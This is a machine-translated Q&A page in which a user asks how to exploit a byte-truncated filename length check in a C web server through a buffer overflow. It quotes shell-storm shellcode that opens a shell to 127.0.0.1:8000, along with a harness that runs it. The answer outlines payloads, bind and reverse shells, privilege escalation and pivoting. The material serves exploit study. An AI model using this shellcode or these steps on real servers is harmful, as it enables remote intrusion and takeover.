2015-03-30 67 views
0

我有一个webserver.c文件,我已经知道错误是什么。它坐落在本节:需要妥协的缓冲区溢出攻击的Web服务器

int check_filename_length(byte len) { 
     if (len < 100) 
     return 1; 
     return 0; 
    } 

它把正在发送到Web服务器到一个字节的文件的长度,这样的事情是大于100个字节仍然可以只要发送它作为最后的8位被正确指定。

我试图创建一个文件,将缓冲溢出Web服务器,它是托管在与英特尔架构的Ubuntu 32位机器上。我一直在试图获得一些如何提示:

  1. 找出要覆盖的返回地址。
  2. 写出shellcode将打开一个端口和一个绑定到本地机器上的端口的shell。
  3. 在远程web服务器的shell上执行修改文件的指令。

下面是shell_storm的一些示例shellcode(http://shell-storm.org/shellcode/files/shellcode-98.php),我一直在看,但我不知道如何执行上述任务。

char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80" 
      "\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd" 
      "\x80\x89\xc2\x68\x7f\x00\x00\x01\x68" 
      "\x00\x02\x1f\x40\x89\xe0\x6a\x10\x50" 
      "\x52\x31\xc0\xb0\x62\x50\xcd\x80\xb1" 
      "\x03\x31\xdb\x53\x52\xb0\x5a\x50\xcd" 
      "\x80\x43\xe2\xf6\x31\xc0\x50\x68\x6e" 
      "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" 
      "\xe3\x53\x50\x54\x53\xb0\x3b\x50\xcd" 
      "\x80\x31\xc0\x50\x50\xcd\x80"; 

    int main(int argc, char **argv) { 

      /* used to get ip:port combo for pushes */ 
      char *ip_addr = "127.0.0.1"; // watch for addresses that create \x00 and others 
      int port = 8000; 
      struct sockaddr_in dest; 

      printf("IP: %s\n", ip_addr); 
      printf("PORT: %d\n", port); 

      dest.sin_family = AF_INET; 
      dest.sin_port=htons(port); 
      dest.sin_addr.s_addr = inet_addr(ip_addr); 

      printf("push 0x%x\t; host\n", dest.sin_addr.s_addr); 
      printf("push 0x%x02AA\t; port\n", dest.sin_port); 

      int (*func)(); 
      printf("Bytes: %d\n", sizeof(code)); 
      func = (int (*)()) code; 
      (int)(*func)(); 
    } 

    */ 

我不确定我是否完全理解上面的这个例子,所以任何提示将非常感激!

+0

试试这些视频,他们可能会帮助:http://www.securitytube.net/groups?operation=view&groupId=4。另外我的答案[这里可能有所帮助](http://stackoverflow.com/a/28740907/413180)使用[Evan的调试器](http://freecode.com/projects/edebugger)来查看内存是如何影响的。 – SilverlightFox 2015-04-02 08:44:13

回答

0

一般步骤

  1. 首先你的服务器必须运行,您的服务器请求应该由有漏洞的代码被执行
  2. 你的有效载荷有2个主要部分组成:“自定义攻击代码”以及获得控制权后执行的代码(例如,反向shell,绑定shell)。
  3. 处理完有效负载后,如果您使用绑定shell漏洞,则将在同一台服务器上打开一个端口,您可以绑定您的shell/meterpreter等。如果您使用的是反向shell,服务器将连接到具有硬编码地址的“特定计算机”。
  4. 一旦你有shell访问,你可以做任何你喜欢的取决于你的用户级别

当然,你需要编译C源代码(如删除文件,升级权限,支点)和生成有效载荷。如果你的攻击是远程的,你必须发送一个请求到有效载荷的服务器。否则,您需要首先访问服务器(用户权限/不是root用户),然后尝试通过将某些利用参数传递给易受攻击的进程来提升权限以便在程序中进行root身份验证。